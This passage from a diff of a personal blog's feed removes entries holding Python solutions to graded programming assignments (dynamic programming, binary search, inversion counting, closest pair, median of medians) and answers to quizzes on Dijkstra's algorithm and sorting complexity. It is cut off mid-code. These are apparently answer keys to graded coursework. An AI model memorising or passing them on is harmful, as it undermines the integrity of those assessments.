hype. One Rust feature that I dearly miss is enumerable data types that can encapsulate various other data types.</p> @@ -9,246 +15,7 @@ versions, most tutorials will suggest <code>Union</code> types as th enums.</p> <blockquote> <p>I highly encourage you to try out the code snippets and follow along with this article. -Use the collapse explanation button to copy multiple code blocks in one go.</p>note skta4v7n8h8https://lavafroth.is-a.dev/skta4v7n8h8/Fri, 31 Oct 2025 20:24:35 +0530https://lavafroth.is-a.dev/skta4v7n8h8/<h1 id="grpa-1">GrPA 1</h1> -<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#f92672">from</span> typing <span style="color:#f92672">import</span> List -</span></span><span style="display:flex;"><span> -</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">constructWord</span>(s: str, chunks: List[str]) <span style="color:#f92672">-&gt;</span> List[List[str]]: -</span></span><span style="display:flex;"><span> memo <span style="color:#f92672">=</span> {} -</span></span><span style="display:flex;"><span> -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">def</span> <span style="color:#a6e22e">solve</span>(remaining_suffix: str) <span style="color:#f92672">-&gt;</span> List[List[str]]: -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> <span style="color:#f92672">not</span> remaining_suffix: -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> [[]] -</span></span><span style="display:flex;"><span> -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> remaining_suffix <span style="color:#f92672">in</span> memo: -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> memo[remaining_suffix] -</span></span><span style="display:flex;"><span> -</span></span><span style="display:flex;"><span> possible_combos <span style="color:#f92672">=</span> [] -</span></span><span style="display:flex;"><span> -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">for</span> chunk <span style="color:#f92672">in</span> chunks: -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> <span style="color:#f92672">not</span> remaining_suffix<span style="color:#f92672">.</span>startswith(chunk): -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">continue</span> -</span></span><span style="display:flex;"><span> -</span></span><span style="display:flex;"><span> leftover_results <span style="color:#f92672">=</span> solve(remaining_suffix[len(chunk):]) -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> <span style="color:#f92672">not</span> leftover_results: -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">continue</span> -</span></span><span style="display:flex;"><span> -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">for</span> rest <span style="color:#f92672">in</span> leftover_results: -</span></span><span style="display:flex;"><span> possible_combos<span style="color:#f92672">.</span>append([chunk] <span style="color:#f92672">+</span> rest) -</span></span><span style="display:flex;"><span> -</span></span><span style="display:flex;"><span> memo[remaining_suffix] <span style="color:#f92672">=</span> possible_combos -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> possible_combos -</span></span><span style="display:flex;"><span> -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> solve(s) -</span></span></code></pre></div><h1 id="grpa-2">GrPA 2</h1> -<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#f92672">import</span> numpy <span style="color:#66d9ef">as</span> np -</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">MaxCoinPath</span>(M, x1, y1, x2, y2): -</span></span><span style="display:flex;"><span> M <span style="color:#f92672">=</span> np<span style="color:#f92672">.</span>array(M, dtype<span style="color:#f92672">=</span>int)[x1:x2<span style="color:#f92672">+</span><span style="color:#ae81ff">1</span>, y1:y2<span style="color:#f92672">+</span><span style="color:#ae81ff">1</span>] -</span></span><span style="display:flex;"><span> cost <span style="color:#f92672">=</span> np<span style="color:#f92672">.</span>zeros((M<span style="color:#f92672">.</span>shape[<span style="color:#ae81ff">0</span>]<span style="color:#f92672">+</span><span style="color:#ae81ff">1</span>, M<span style="color:#f92672">.</span>shape[<span style="color:#ae81ff">1</span>]<span style="color:#f92672">+</span><span style="color:#ae81ff">1</span>), dtype<span style="color:#f92672">=</span>int) -</span></span><span style="display:flex;"><span> -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">for</span> i <span style="color:#f92672">in</span> range(M<span style="color:#f92672">.</span>shape[<span style="color:#ae81ff">0</span>]<span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>, <span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>, <span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>): -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">for</span> j <span style="color:#f92672">in</span> range(M<span style="color:#f92672">.</span>shape[<span style="color:#ae81ff">1</span>]<span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>, <span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>, <span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>): -</span></span><span style="display:flex;"><span> cost[i, j] <span style="color:#f92672">=</span> max(M[i, j] <span style="color:#f92672">+</span> cost[i<span style="color:#f92672">+</span><span style="color:#ae81ff">1</span>, j], M[i, j] <span style="color:#f92672">+</span> cost[i, j<span style="color:#f92672">+</span><span style="color:#ae81ff">1</span>]) -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> cost[<span style="color:#ae81ff">0</span>,<span style="color:#ae81ff">0</span>] -</span></span></code></pre></div><h1 id="grpa-3">GrPA 3</h1> -<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">LDS</span>(arr): -</span></span><span style="display:flex;"><span> n <span style="color:#f92672">=</span> len(arr) -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> n <span style="color:#f92672">==</span> <span style="color:#ae81ff">0</span>: -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> [] -</span></span><span style="display:flex;"><span> -</span></span><span style="display:flex;"><span> memo <span style="color:#f92672">=</span> [<span style="color:#ae81ff">1</span>] <span style="color:#f92672">*</span> n -</span></span><span style="display:flex;"><span> parent <span style="color:#f92672">=</span> [<span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>] <span style="color:#f92672">*</span> n -</span></span><span style="display:flex;"><span> max_len <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span> -</span></span><span style="display:flex;"><span> end_index <span style="color:#f92672">=</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">1</span> -</span></span><span style="display:flex;"><span> -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">for</span> i <span style="color:#f92672">in</span> range(n): -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">for</span> j <span style="color:#f92672">in</span> range(i): -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> arr[i] <span style="color:#f92672">&lt;</span> arr[j] <span style="color:#f92672">and</span> memo[i] <span style="color:#f92672">&lt;</span> memo[j] <span style="color:#f92672">+</span> <span style="color:#ae81ff">1</span>: -</span></span><span style="display:flex;"><span> memo[i] <span style="color:#f92672">=</span> memo[j] <span style="color:#f92672">+</span> <span style="color:#ae81ff">1</span> -</span></span><span style="display:flex;"><span> parent[i] <span style="color:#f92672">=</span> j -</span></span><span style="display:flex;"><span> -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> memo[i] <span style="color:#f92672">&gt;</span> max_len: -</span></span><span style="display:flex;"><span> max_len <span style="color:#f92672">=</span> memo[i] -</span></span><span style="display:flex;"><span> end_index <span style="color:#f92672">=</span> i -</span></span><span style="display:flex;"><span> -</span></span><span style="display:flex;"><span> subsequence <span style="color:#f92672">=</span> [] -</span></span><span style="display:flex;"><span> current_index <span style="color:#f92672">=</span> end_index -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">while</span> current_index <span style="color:#f92672">!=</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>: -</span></span><span style="display:flex;"><span> subsequence<span style="color:#f92672">.</span>append(arr[current_index]) -</span></span><span style="display:flex;"><span> current_index <span style="color:#f92672">=</span> parent[current_index] -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> subsequence[::<span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>] -</span></span></code></pre></div>secret note jfgp3d7rrx0https://lavafroth.is-a.dev/jfgp3d7rrx0/Tue, 28 Oct 2025 16:09:00 +0530https://lavafroth.is-a.dev/jfgp3d7rrx0/<p>There will be an explanation for non-trivial questions.</p> -<h1 id="activity-1">Activity 1</h1> -<h2 id="1">1</h2> -<p>Dijkstra&rsquo;s algorithm guarantees finding the shortest path from a single source to all other vertices under which of the following conditions?</p> -<p><strong>Answer:</strong> All edge weights must be non-negative.</p> -<h2 id="2">2</h2> -<p>Consider an undirected graph with 5 vertices <span class="katex"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><msub><mi>V</mi><mn>0</mn></msub><mo separator="true">,</mo><msub><mi>V</mi><mn>1</mn></msub><mo separator="true">,</mo><msub><mi>V</mi><mn>2</mn></msub><mo separator="true">,</mo><msub><mi>V</mi><mn>3</mn></msub><mo separator="true">,</mo><msub><mi>V</mi><mn>4</mn></msub><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(V_0, V_1, V_2, V_3, V_4)</annotation></semantics></math></span>. At a certain point -in Dijkstra&rsquo;s algorithm (starting from <span class="katex"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>V</mi><mn>0</mn></msub></mrow><annotation encoding="application/x-tex">V_0</annotation></semantics></math></span>), the current tentative distances are: -<span class="katex"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>d</mi><mi>i</mi><mi>s</mi><mi>t</mi><mo>=</mo><mo stretchy="false">{</mo><msub><mi>V</mi><mn>0</mn></msub><mo>:</mo><mn>0</mn><mo separator="true">,</mo><msub><mi>V</mi><mn>1</mn></msub><mo>:</mo><mn>5</mn><mo separator="true">,</mo><msub><mi>V</mi><mn>2</mn></msub><mo>:</mo><mn>3</mn><mo separator="true">,</mo><msub><mi>V</mi><mn>3</mn></msub><mo>:</mo><mn>8</mn><mo separator="true">,</mo><msub><mi>V</mi><mn>4</mn></msub><mo>:</mo><mn>10</mn><mo stretchy="false">}</mo></mrow><annotation encoding="application/x-tex">dist = \{V_0:0, V_1:5, V_2:3, V_3:8, V_4:10\}</annotation></semantics></math></span>. And the processed set is: <span class="katex"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">{</mo><msub><mi>V</mi><mn>0</mn></msub><mo>:</mo><mi>T</mi><mi>r</mi><mi>u</mi><mi>e</mi><mo separator="true">,</mo><msub><mi>V</mi><mn>1</mn></msub><mo>:</mo><mi>F</mi><mi>a</mi><mi>l</mi><mi>s</mi><mi>e</mi><mo separator="true">,</mo><msub><mi>V</mi><mn>2</mn></msub><mo>:</mo><mi>F</mi><mi>a</mi><mi>l</mi><mi>s</mi><mi>e</mi><mo separator="true">,</mo><msub><mi>V</mi><mn>3</mn></msub><mo>:</mo><mi>F</mi><mi>a</mi><mi>l</mi><mi>s</mi><mi>e</mi><mo separator="true">,</mo><msub><mi>V</mi><mn>4</mn></msub><mo>:</mo><mi>F</mi><mi>a</mi><mi>l</mi><mi>s</mi><mi>e</mi><mo stretchy="false">}</mo></mrow><annotation encoding="application/x-tex">\{V_0:True, -V_1:False, V_2:False, V_3:False, V_4:False\}</annotation></semantics></math></span>. Assuming the next step is to select an unvisited -vertex to mark as processed, which vertex will be chosen?</p>for seshu baby mwa mwahttps://lavafroth.is-a.dev/ilrlmvakdlx9uwodtocdbg/Fri, 03 Oct 2025 16:04:18 +0530https://lavafroth.is-a.dev/ilrlmvakdlx9uwodtocdbg/<blockquote> -<p>Update: I have added the GA 2 sols as well. Please take them with a grain of salt obviously -I am also fallible to mistakes.</p> -</blockquote> -<h1 id="aq21">AQ2.1</h1> -<ol> -<li><span class="katex"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><msup><mi>n</mi><mn>2</mn></msup><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex"> O(n^2) </annotation></semantics></math></span></li> -<li><span class="katex"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mi>n</mi><mtext> </mtext><mi>l</mi><mi>o</mi><mi>g</mi><mtext> </mtext><mi>n</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex"> O(n\ log\ n) </annotation></semantics></math></span></li> -<li><span class="katex"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><msup><mi>n</mi><mn>3</mn></msup><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex"> O(n^3) </annotation></semantics></math></span></li> -<li><span class="katex"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mi>n</mi><mo>+</mo><mi>l</mi><mi>o</mi><mi>g</mi><mtext> </mtext><mi>m</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex"> O(n + log\ m) </annotation></semantics></math></span></li> -<li><span class="katex"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mi>l</mi><mi>o</mi><mi>g</mi><mtext> </mtext><mi>n</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex"> O(log\ n) </annotation></semantics></math></span></li> -<li><span class="katex"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><msup><mi>n</mi><mn>2</mn></msup><mtext> </mtext><mi>l</mi><mi>o</mi><mi>g</mi><mtext> </mtext><mi>n</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex"> O(n^2\ log\ n) </annotation></semantics></math></span></li> -</ol> -<h1 id="aq22">AQ2.2</h1> -<ol> -<li><span class="katex"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mi>l</mi><mi>o</mi><mi>g</mi><mtext> </mtext><mi>n</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex"> O(log\ n) </annotation></semantics></math></span></li> -<li>5</li> -<li>3</li> -<li>3</li> -<li>2</li> -<li>Multiple options: -<ul> -<li>It works only on sorted arrays.</li> -<li>It has a best-case time complexity of O(1).</li> -</ul> -</li> -</ol> -<h1 id="aq23">AQ2.3</h1> -<blockquote> -<p>Selection sort always makes n(n-1)/2 comparisons which is of order <span class="katex"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><msup><mi>n</mi><mn>2</mn></msup><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex"> O(n^2) </annotation></semantics></math></span></p>w8https://lavafroth.is-a.dev/divmqbyvl9y/Fri, 03 Oct 2025 16:04:18 +0530https://lavafroth.is-a.dev/divmqbyvl9y/<h2 id="grpa-1">GRPA 1</h2> -<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">findOccOf</span>(arr, x): -</span></span><span style="display:flex;"><span> lo <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span> -</span></span><span style="display:flex;"><span> hi <span style="color:#f92672">=</span> len(arr) <span style="color:#f92672">-</span> <span style="color:#ae81ff">1</span> -</span></span><span style="display:flex;"><span> -</span></span><span style="display:flex;"><span> loval <span style="color:#f92672">=</span> <span style="color:#66d9ef">None</span> -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">while</span> lo <span style="color:#f92672">&lt;=</span> hi: -</span></span><span style="display:flex;"><span> mid <span style="color:#f92672">=</span> (lo <span style="color:#f92672">+</span> hi) <span style="color:#f92672">//</span> <span style="color:#ae81ff">2</span> -</span></span><span style="display:flex;"><span> c <span style="color:#f92672">=</span> arr[mid] -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> x <span style="color:#f92672">&lt;</span> c: -</span></span><span style="display:flex;"><span> hi <span style="color:#f92672">=</span> mid <span style="color:#f92672">-</span> <span style="color:#ae81ff">1</span> -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">elif</span> x <span style="color:#f92672">&gt;</span> c: -</span></span><span style="display:flex;"><span> lo <span style="color:#f92672">=</span> mid <span style="color:#f92672">+</span> <span style="color:#ae81ff">1</span> -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">elif</span> x <span style="color:#f92672">==</span> c: -</span></span><span style="display:flex;"><span> loval <span style="color:#f92672">=</span> loval <span style="color:#f92672">or</span> mid -</span></span><span style="display:flex;"><span> loval <span style="color:#f92672">=</span> min(loval, mid) -</span></span><span style="display:flex;"><span> hi <span style="color:#f92672">=</span> mid <span style="color:#f92672">-</span> <span style="color:#ae81ff">1</span> -</span></span><span style="display:flex;"><span> -</span></span><span style="display:flex;"><span> lo <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span> -</span></span><span style="display:flex;"><span> hi <span style="color:#f92672">=</span> len(arr) <span style="color:#f92672">-</span> <span style="color:#ae81ff">1</span> -</span></span><span style="display:flex;"><span> hival <span style="color:#f92672">=</span> <span style="color:#66d9ef">None</span> -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">while</span> lo <span style="color:#f92672">&lt;=</span> hi: -</span></span><span style="display:flex;"><span> mid <span style="color:#f92672">=</span> (lo <span style="color:#f92672">+</span> hi) <span style="color:#f92672">//</span> <span style="color:#ae81ff">2</span> -</span></span><span style="display:flex;"><span> c <span style="color:#f92672">=</span> arr[mid] -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> x <span style="color:#f92672">&lt;</span> c: -</span></span><span style="display:flex;"><span> hi <span style="color:#f92672">=</span> mid <span style="color:#f92672">-</span> <span style="color:#ae81ff">1</span> -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">elif</span> x <span style="color:#f92672">&gt;</span> c: -</span></span><span style="display:flex;"><span> lo <span style="color:#f92672">=</span> mid <span style="color:#f92672">+</span> <span style="color:#ae81ff">1</span> -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">elif</span> x <span style="color:#f92672">==</span> c: -</span></span><span style="display:flex;"><span> hival <span style="color:#f92672">=</span> hival <span style="color:#f92672">or</span> mid -</span></span><span style="display:flex;"><span> hival <span style="color:#f92672">=</span> max(hival, mid) -</span></span><span style="display:flex;"><span> lo <span style="color:#f92672">=</span> mid <span style="color:#f92672">+</span> <span style="color:#ae81ff">1</span> -</span></span><span style="display:flex;"><span> -</span></span><span style="display:flex;"><span> -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> loval, hival -</span></span></code></pre></div><h2 id="grpa-2">GRPA 2</h2> -<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">merge_inversion</span>(left, right): -</span></span><span style="display:flex;"><span> merged <span style="color:#f92672">=</span> [] -</span></span><span style="display:flex;"><span> count <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span> -</span></span><span style="display:flex;"><span> -</span></span><span style="display:flex;"><span> i, j <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">0</span> -</span></span><span style="display:flex;"><span> -</span></span><span style="display:flex;"><span> m <span style="color:#f92672">=</span> len(left) -</span></span><span style="display:flex;"><span> n <span style="color:#f92672">=</span> len(right) -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">while</span> i <span style="color:#f92672">+</span> j <span style="color:#f92672">&lt;</span> m <span style="color:#f92672">+</span> n: -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> j <span style="color:#f92672">==</span> n <span style="color:#f92672">or</span> (i <span style="color:#f92672">!=</span> m <span style="color:#f92672">and</span> left[i] <span style="color:#f92672">&lt;</span> right[j]): -</span></span><span style="display:flex;"><span> merged<span style="color:#f92672">.</span>append(left[i]) -</span></span><span style="display:flex;"><span> i <span style="color:#f92672">+=</span> <span style="color:#ae81ff">1</span> -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">continue</span> -</span></span><span style="display:flex;"><span> -</span></span><span style="display:flex;"><span> merged<span style="color:#f92672">.</span>append(right[j]) -</span></span><span style="display:flex;"><span> j <span style="color:#f92672">+=</span> <span style="color:#ae81ff">1</span> -</span></span><span style="display:flex;"><span> count <span style="color:#f92672">+=</span> m <span style="color:#f92672">-</span> i -</span></span><span style="display:flex;"><span> -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> merged, count -</span></span><span style="display:flex;"><span> -</span></span><span style="display:flex;"><span> -</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">sort_and_count</span>(arr): -</span></span><span style="display:flex;"><span> n <span style="color:#f92672">=</span> len(arr) -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> n <span style="color:#f92672">==</span> <span style="color:#ae81ff">1</span>: -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> arr, <span style="color:#ae81ff">0</span> -</span></span><span style="display:flex;"><span> left <span style="color:#f92672">=</span> arr[: n <span style="color:#f92672">//</span> <span style="color:#ae81ff">2</span>] -</span></span><span style="display:flex;"><span> right <span style="color:#f92672">=</span> arr[n <span style="color:#f92672">//</span> <span style="color:#ae81ff">2</span> :] -</span></span><span style="display:flex;"><span> -</span></span><span style="display:flex;"><span> left, count_left <span style="color:#f92672">=</span> sort_and_count(left) -</span></span><span style="display:flex;"><span> right, count_right <span style="color:#f92672">=</span> sort_and_count(right) -</span></span><span style="display:flex;"><span> merged, count_both <span style="color:#f92672">=</span> merge_inversion(left, right) -</span></span><span style="display:flex;"><span> -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> (merged, count_left <span style="color:#f92672">+</span> count_right <span style="color:#f92672">+</span> count_both) -</span></span><span style="display:flex;"><span> -</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">countIntersection</span>(a, b): -</span></span><span style="display:flex;"><span> tuples <span style="color:#f92672">=</span> sorted(zip(a, b)) -</span></span><span style="display:flex;"><span> b <span style="color:#f92672">=</span> [t[<span style="color:#ae81ff">1</span>] <span style="color:#66d9ef">for</span> t <span style="color:#f92672">in</span> tuples] -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> sort_and_count(b)[<span style="color:#ae81ff">1</span>] -</span></span></code></pre></div><h2 id="grpa-3">GRPA 3</h2> -<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>dist <span style="color:#f92672">=</span> <span style="color:#66d9ef">lambda</span> a, b: ((a[<span style="color:#ae81ff">0</span>]<span style="color:#f92672">-</span>b[<span style="color:#ae81ff">0</span>])<span style="color:#f92672">**</span><span style="color:#ae81ff">2</span> <span style="color:#f92672">+</span> (a[<span style="color:#ae81ff">1</span>]<span style="color:#f92672">-</span>b[<span style="color:#ae81ff">1</span>])<span style="color:#f92672">**</span><span style="color:#ae81ff">2</span>)<span style="color:#f92672">**</span><span style="color:#ae81ff">.5</span> -</span></span><span style="display:flex;"><span> -</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">closest_pair</span>(Px, Py): -</span></span><span style="display:flex;"><span> n <span style="color:#f92672">=</span> len(Px) -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> n <span style="color:#f92672">&lt;=</span> <span style="color:#ae81ff">3</span>: -</span></span><span style="display:flex;"><span> min_d <span style="color:#f92672">=</span> float(<span style="color:#e6db74">&#39;inf&#39;</span>) -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">for</span> i <span style="color:#f92672">in</span> range(n): -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">for</span> j <span style="color:#f92672">in</span> range(i <span style="color:#f92672">+</span> <span style="color:#ae81ff">1</span>, n): -</span></span><span style="display:flex;"><span> min_d <span style="color:#f92672">=</span> min(min_d, dist(Px[i], Px[j])) -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> min_d -</span></span><span style="display:flex;"><span> -</span></span><span style="display:flex;"><span> mid <span style="color:#f92672">=</span> n <span style="color:#f92672">//</span> <span style="color:#ae81ff">2</span> -</span></span><span style="display:flex;"><span> Qx <span style="color:#f92672">=</span> Px[:mid] -</span></span><span style="display:flex;"><span> Rx <span style="color:#f92672">=</span> Px[mid:] -</span></span><span style="display:flex;"><span> mid_point <span style="color:#f92672">=</span> Qx[<span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>][<span style="color:#ae81ff">0</span>] -</span></span><span style="display:flex;"><span> -</span></span><span style="display:flex;"><span> Qy <span style="color:#f92672">=</span> [] -</span></span><span style="display:flex;"><span> Ry <span style="color:#f92672">=</span> [] -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">for</span> p <span style="color:#f92672">in</span> Py: -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> p[<span style="color:#ae81ff">0</span>] <span style="color:#f92672">&lt;=</span> mid_point: -</span></span><span style="display:flex;"><span> Qy<span style="color:#f92672">.</span>append(p) -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">else</span>: -</span></span><span style="display:flex;"><span> Ry<span style="color:#f92672">.</span>append(p) -</span></span><span style="display:flex;"><span> -</span></span><span style="display:flex;"><span> min_d <span style="color:#f92672">=</span> min(closest_pair(Qx, Qy), closest_pair(Rx, Ry)) -</span></span><span style="display:flex;"><span> -</span></span><span style="display:flex;"><span> Sy <span style="color:#f92672">=</span> [p <span style="color:#66d9ef">for</span> p <span style="color:#f92672">in</span> Py <span style="color:#66d9ef">if</span> mid_point <span style="color:#f92672">-</span> min_d <span style="color:#f92672">&lt;=</span> p[<span style="color:#ae81ff">0</span>] <span style="color:#f92672">&lt;=</span> mid_point <span style="color:#f92672">+</span> min_d] -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">for</span> i <span style="color:#f92672">in</span> range(len(Sy)): -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">for</span> j <span style="color:#f92672">in</span> range(i <span style="color:#f92672">+</span> <span style="color:#ae81ff">1</span>, len(Sy)): -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> Sy[j][<span style="color:#ae81ff">1</span>] <span style="color:#f92672">-</span> Sy[i][<span style="color:#ae81ff">1</span>] <span style="color:#f92672">&gt;=</span> min_d: -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">break</span> -</span></span><span style="display:flex;"><span> min_d <span style="color:#f92672">=</span> min(min_d, dist(Sy[i], Sy[j])) -</span></span><span style="display:flex;"><span> -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> min_d -</span></span><span style="display:flex;"><span> -</span></span><span style="display:flex;"><span> -</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">minDistance</span>(points): -</span></span><span style="display:flex;"><span> Px <span style="color:#f92672">=</span> sorted(points, key<span style="color:#f92672">=</span><span style="color:#66d9ef">lambda</span> p: p[<span style="color:#ae81ff">0</span>]) -</span></span><span style="display:flex;"><span> Py <span style="color:#f92672">=</span> sorted(points, key<span style="color:#f92672">=</span><span style="color:#66d9ef">lambda</span> p: p[<span style="color:#ae81ff">1</span>]) -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> round(closest_pair(Px, Py), <span style="color:#ae81ff">2</span>) -</span></span></code></pre></div><h2 id="grpa-4">GRPA 4</h2> -<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">mid</span>(a): -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> len(a) <span style="color:#f92672">&lt;=</span> <span style="color:#ae81ff">7</span>: -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> sorted(a)[len(a)<span style="color:#f92672">//</span><span style="color:#ae81ff">2</span>] -</span></span><span style="display:flex;"><span> -</span></span><span style="display:flex;"><span> m <span style="color:#f92672">=</span> [] -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">for</span> i <span style="color:#f92672">in</span> range(<span style="color:#ae81ff">0</span>,len(a), <span style="color:#ae81ff">7</span>): -</span></span><span style="display:flex;"><span> m<span style="color:#f92672">.</span>append(mid(a[i:i<span style="color:#f92672">+</span><span style="color:#ae81ff">7</span>])) -</span></span><span style="display:flex;"><span> -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> mid(m) -</span></span><span style="display:flex;"><span> -</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">MoM7Pos</span>(arr): -</span></span><span style="display:flex;"><span> m <span style="color:#f92672">=</span> mid(arr) -</span></span><span style="display:flex;"><span> pos <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span> -</span></span><span 